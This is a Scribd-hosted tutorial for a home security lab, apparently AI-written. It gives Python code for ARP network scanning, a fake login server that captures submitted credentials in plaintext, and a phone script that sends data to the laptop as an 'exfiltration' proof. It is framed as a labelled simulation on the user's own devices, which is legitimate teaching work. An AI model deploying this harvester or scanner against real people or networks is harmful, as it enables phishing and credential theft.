0% found this document useful (0 votes)
9 views9 pages

Python

This document outlines a demonstration of a cybersecurity workflow using Python scripts for reconnaissance, exploitation simulation, and data exfiltration. It details the setup of a laptop as the control center and a phone as the target, along with the installation of necessary libraries and the execution of scripts for network discovery and credential harvesting. The document also includes instructions for validating data exfiltration from the phone back to the laptop.

Uploaded by

Hussein Nasiru
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
9 views9 pages

Python

This document outlines a demonstration of a cybersecurity workflow using Python scripts for reconnaissance, exploitation simulation, and data exfiltration. It details the setup of a laptop as the control center and a phone as the target, along with the installation of necessary libraries and the execution of scripts for network discovery and credential harvesting. The document also includes instructions for validating data exfiltration from the phone back to the laptop.

Uploaded by

Hussein Nasiru
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Given your constraint of using only standard Python installations (without Kali Linux or the

Social-Engineer Toolkit), we can still implement a demonstration of the Workflow of Use Cases
(reconnaissance, exploitation simulation, data exfiltration).
We will write simplified Python scripts that mimic the functionality described in the architectural
components.

1. The Scenario & Lab Setup (Phone + Laptop)


The Laptop (The Control Center): This device will run the scripts simulating the
attacker/auditor. You must install Python on it.
●​ Requirements: Standard Python distribution, scapy library (for network discovery).
●​ Note: In Python, run pip install scapy in your terminal/command prompt.
The Phone (The Target): This device will run the scripts simulating the target asset or subject.
You must install a Python runner on it.
●​ Android: Install Termux (preferred) or Pydroid 3 from the Play Store.
●​ iOS: Install Pythonista 3 from the App Store.
Prerequisites:
1.​ Connect both the Phone and the Laptop to the exact same Wi-Fi network.
2.​ Find the IPv4 addresses of both devices on this network.
○​ Phone IP: (Check Wi-Fi settings, e.g., in Termux run ifconfig). Let's assume:
[Link]
○​ Laptop IP: (Run ipconfig (Windows) or ifconfig (macOS/Linux)). Let's assume:
[Link]

Phase 3: Simplified Implementation Steps (Python Only)


Here is a simplified step-by-step breakdown using native Python to demonstrate the core
workflow described in your project document.

1. Implementation: Simplified Reconnaissance (Runs on Laptop)


This script uses the scapy library to perform a simpler ARP-based host discovery, replacing
Nmap. This demonstrates the Automated Reconnaissance activity and the role of the
DiscoveryEngine in finding the target's IP on the local Wi-Fi.
Save this script on your Laptop as simple_recon.py:
import sys​
try:​
from [Link] import ARP, Ether, srp​
except ImportError:​
print("[!] Error: 'scapy' library not found. Please install it
using 'pip install scapy'.")​
[Link](1)​

class DiscoveryEngineSimplified:​
def __init__(self, ip_range):​
self.ip_range = ip_range​
self.discovered_hosts = []​

def initiate_scan(self):​
"""Perform simple ARP scan to discover active hosts."""​
print(f"[*] Initiating ARP-based reconnaissance on:
{self.ip_range}...")​

# Create ARP packet and Ethernet frame​
arp = ARP(pdst=self.ip_range)​
ether = Ether(dst="ff:ff:ff:ff:ff:ff")​
packet = ether/arp​

# Send packet and receive response​
try:​
result = srp(packet, timeout=3, verbose=0)[0]​
except PermissionError:​
print("[!] Error: This script requires administrator/root
privileges to run.")​
[Link](1)​

# Parse responses​
for sent, received in result:​
self.discovered_hosts.append({'ip': [Link], 'mac':
[Link]})​

print("[*] Scan complete.")​
return self.discovered_hosts​

# --- Example Usage ---​
if __name__ == "__main__":​
# Range of your local Wi-Fi subnet (e.g., [Link]/24)​
network_subnet = "[Link]/24" ​

scanner = DiscoveryEngineSimplified(network_subnet)​
active_hosts = scanner.initiate_scan()​

if active_hosts:​
print(f"[+] Found {len(active_hosts)} active hosts on the
LAN:")​
print("{: <20} | {: <20}".format("IP Address", "MAC Address"))​
print("-" * 43)​
for host in active_hosts:​
print("{: <20} | {: <20}".format(host['ip'], host['mac']))​
else:​
print("[!] No active hosts found (check subnet and
permissions).")​

To run the reconnaissance:


1.​ Open a command prompt (Windows - as Administrator) or terminal (macOS/Linux - using
sudo).
2.​ Navigate to the directory containing simple_recon.py.
3.​ Modify the network_subnet variable (line 37) if yours is different (e.g., [Link]/24).
4.​ Run: python simple_recon.py (or sudo python3 simple_recon.py)
5.​ The output will list the IP and MAC addresses of devices connected to the Wi-Fi. This
confirms the Phone is present.

2. Implementation: Credential Harvesting Simulation (Runs on Laptop)


This script implements a very simple web server that mimics the Social-Engineer Toolkit (SET)
site cloner. Instead of cloning a real site, it serves a simple, predefined HTML login form. This
demonstrates the Exploitation Simulation and the role of the SimulationManager.
Save this script on your Laptop as simple_harvester.py:
import sys​
from [Link] import BaseHTTPRequestHandler, HTTPServer​
import [Link] as urlparse​

# Define the HTML template for the fake login portal​
SIMPLE_LOGIN_FORM = """​
<html>​
<head>​
<title>Enterprise Login Portal (Simulation)</title>​
<style>​
body { font-family: sans-serif; background-color: #f0f2f5;
display: flex; justify-content: center; align-items: center; height:
100vh; margin: 0; }​
.login-box { background: white; padding: 40px; border-radius:
8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); width: 300px; text-align:
center; }​
input[type="text"], input[type="password"] { width: 100%;
padding: 12px; margin: 10px 0; border: 1px solid #ddd; border-radius:
4px; box-sizing: border-radius; }​
button { background-color: #1877f2; color: white; border:
none; padding: 12px; border-radius: 4px; width: 100%; font-size: 16px;
cursor: pointer; font-weight: bold;}​
.warning { color: red; font-weight: bold; margin-bottom:
20px;}​
</style>​
</head>​
<body>​
<div class="login-box">​
<div class="warning">*** SIMULATION - DO NOT USE REAL DATA
***</div>​
<h2>Enterprise Login</h2>​
<form action="/login" method="post">​
<input type="text" name="username" placeholder="Email or
Username" required>​
<input type="password" name="password"
placeholder="Password" required>​
<button type="submit">Log In</button>​
</form>​
</div>​
</body>​
</html>​
"""​

class SimulationManagerSimplified(BaseHTTPRequestHandler):​
"""Simple web server to mimic SET credential harvesting."""​

def do_GET(self):​
"""Serves the simple fake login form."""​
print(f"[*] GET request received from:
{self.client_address[0]}")​
self.send_response(200)​
self.send_header("Content-type", "text/html")​
self.end_headers()​
[Link](bytes(SIMPLE_LOGIN_FORM, "utf-8"))​

def do_POST(self):​
"""Captures and logs credentials submitted to /login."""​
content_length = int([Link]['Content-Length'])​
post_data = [Link](content_length).decode('utf-8')​

# Simplified handling for the '/login' endpoint​
if [Link] == '/login':​
print(f"[*] POST request received from:
{self.client_address[0]}")​
print("-" * 60)​
print("[!] ATTACK SIMULATION SUCCESS: Credentials
Harvested!")​
print("-" * 60)​

# Parse the captured form data (exfiltrated data proof)​
parsed_data = urlparse.parse_qs(post_data)​
username = parsed_data.get('username', ['n/a'])[0]​
password = parsed_data.get('password', ['n/a'])[0]​

print(f" Captured Username: {username}")​
print(f" Captured Password: {password}")​
print("-" * 60)​

# Inform the subject (user validation step)​
self.send_response(200)​
self.send_header("Content-type", "text/html")​
self.end_headers()​
success_message = "<html><body><h1>Simulation
Complete</h1><p>Credentials were successfully simulated as captured.
Thank you for participating in the security awareness
simulation.</p></body></html>"​
[Link](bytes(success_message, "utf-8"))​
else:​
self.send_response(404)​
self.end_headers()​

# --- Example Usage ---​
if __name__ == "__main__":​
# Define server parameters​
# Must use the Laptop's Wi-Fi IP address identified in
Prerequisites​
server_address = ('[Link]', 8080) # Using port 8080 to avoid
needing root​

print(f"[*] Starting Credential Harvester Simulation on
{server_address[0]}:{server_address[1]}...")​
httpd = HTTPServer(server_address, SimulationManagerSimplified)​

print("[*] Simulation server is now active. Subject should visit
this URL on their phone.")​
try:​
# Run until manually interrupted​
httpd.serve_forever()​
except KeyboardInterrupt:​
print("\n[*] Stopping simulation server.")​
httpd.server_close()​

To run the simulation and exfiltration:


1.​ Configure the Script: Modify the server_address variable (line 80) to match the Laptop
IP address you identified (e.g., [Link]).
2.​ Run on Laptop:
○​ Open a terminal/command prompt.
○​ Navigate to the directory.
○​ Run: python simple_harvester.py. The server is now listening.
3.​ Execute Exploitation on Phone:
○​ Open the web browser on your phone.
○​ Enter the URL: [Link] (The Laptop IP). The phone will load the
fake login page.
○​ Note: Ensure the phone's browser can access the local IP. Some mobile network
settings might interfere.
4.​ Simulate Exfiltration on Phone:
○​ Enter a test username (e.g., simuser) and a fake password (e.g., P@ssw0rdSim)
into the form.
○​ Click "Log In".
5.​ Analyze Proof on Laptop:
○​ Watch the terminal/command prompt running simple_harvester.py.
○​ The captured credentials will appear there in plaintext.
3. Implementation: Data Subject Validation (Runs on Phone)
This requirement is partially fulfilled by the previous step: when the simulation is successful, the
laptop script presents a "Simulation Complete" message back to the phone’s browser.
If you specifically require a script to run on the phone to validate that data can be exfiltrated
from the device, we can create a client-side exfiltration proof.
Save this script on your Phone as exfiltrate_validation.py:
(This must be run inside Termux, Pydroid, or Pythonista)
import sys​
import json​
try:​
import requests​
except ImportError:​
print("[!] Error: 'requests' library not found. Please install it
(e.g., 'pip install requests').")​
[Link](1)​

class DataSubjectValidationSimplified:​
def __init__(self, simulation_gateway_url):​
self.gateway_url = simulation_gateway_url​

def validate_exfiltration(self, data_type, value):​
"""Simulate sending data from the phone to the validation
gateway."""​
print(f"[*] Validating exfiltration capability for data type:
{data_type}...")​

# Define the payload (simulating sensitive data)​
payload = {​
'data_type': data_type,​
'value': value​
}​

# Define headers​
headers = {​
'Content-Type': 'application/json',​
'User-Agent': 'SimulationSubject/PhoneExfiltrationClient'​
}​

# Attempt to exfiltrate data (Data Exfiltration activity)​
try:​
print(f"[*] Attempting to POST data to:
{self.gateway_url}...")​
# We must use POST, mimicking how SET captures data​
response = [Link](self.gateway_url,
data=[Link](payload), headers=headers, timeout=5)​

if response.status_code == 200:​
print(f"[+] Validation SUCCESS. Exfiltration is
possible.")​
print(f" Gateway Response: {[Link]}")​
else:​
print(f"[-] Validation FAILED (exfiltration proof
unsuccessful).")​
print(f" Gateway Response Code:
{response.status_code}")​
except [Link] as e:​
print(f"[!] Critical Error during validation: {e}")​

# --- Example Usage ---​
if __name__ == "__main__":​
# Define the URL of the simulation gateway running on the Laptop​
# Using the /validate endpoint for distinct handling​
validation_url = "[Link] ​

validator = DataSubjectValidationSimplified(validation_url)​

# Simulate exfiltrating sensitive context (e.g., current GPS
coordinates)​
simulated_data_type = "Simulated Location Context"​
simulated_value = "lat: 34.05, lon: -118.24" # Fake LA coordinates​

validator.validate_exfiltration(simulated_data_type,
simulated_value)​

Running the Data Subject Validation:


1.​ Modify simple_harvester.py (Laptop): The server needs to be updated to expect this
validation [Link] the do_POST method in simple_harvester.py (Laptop) as
follows:​
# Update this method inside the SimulationManagerSimplified class
in simple_harvester.py​
def do_POST(self):​
content_length = int([Link]['Content-Length'])​
post_data = [Link](content_length).decode('utf-8')​

# 1. Existing Credential Harvester (Handle standard web form
POST)​
if [Link] == '/login':​
print(f"[*] POST request (Harvester) received from:
{self.client_address[0]}")​
print("-" * 60)​
print("[!] ATTACK SIMULATION SUCCESS: Credentials
Harvested!")​
print("-" * 60)​

parsed_data = urlparse.parse_qs(post_data)​
username = parsed_data.get('username', ['n/a'])[0]​
password = parsed_data.get('password', ['n/a'])[0]​

print(f" Captured Username: {username}")​
print(f" Captured Password: {password}")​
print("-" * 60)​

self.send_response(200)​
self.send_header("Content-type", "text/html")​
self.end_headers()​
[Link](bytes("<html><body><h1>Simulation
Complete</h1></body></html>", "utf-8"))​

# 2. Add this handler for Phone Exfiltration Validation
(Handle JSON POST)​
elif [Link] == '/validate':​
print(f"[*] POST request (Validation) received from:
{self.client_address[0]}")​
import json​
try:​
exfiltrated_json = [Link](post_data)​
data_type = exfiltrated_json.get('data_type', 'n/a')​
value = exfiltrated_json.get('value', 'n/a')​

print("-" * 60)​
print("[!] SUBJECT VALIDATION SUCCESS: Data
Exfiltration Possible!")​
print("-" * 60)​
print(f" Context Captured: {data_type}")​
print(f" Value Captured: {value}")​
print("-" * 60)​

self.send_response(200)​
self.send_header("Content-type", "text/plain")​
self.end_headers()​
[Link](bytes("Exfiltration Validated
Successfully.", "utf-8"))​
except [Link]:​
print("[-] Error: POST data was not valid JSON.")​
self.send_response(400)​
self.end_headers()​
else:​
self.send_response(404)​
self.end_headers()​

2.​ Restart the Harvester Server (Laptop): Restart python simple_harvester.py.


3.​ Run on Phone:
○​ Open your Python environment (Termux, Pythonista, etc.).
○​ Save exfiltrate_validation.py onto the phone.
○​ Modify the validation_url variable (line 39) to match your Laptop IP and the 8080
port.
○​ Install requests (pip install requests inside the phone terminal).
○​ Run: python exfiltrate_validation.py.
○​ The phone will output Validation SUCCESS.
○​ The Laptop terminal will output SUBJECT VALIDATION SUCCESS: Data
Exfiltration Possible! and show the fake location data.
This confirms that the specific use case where a data subject proves that a phone is vulnerable
to data exfiltration can be implemented even with native Python.

You might also like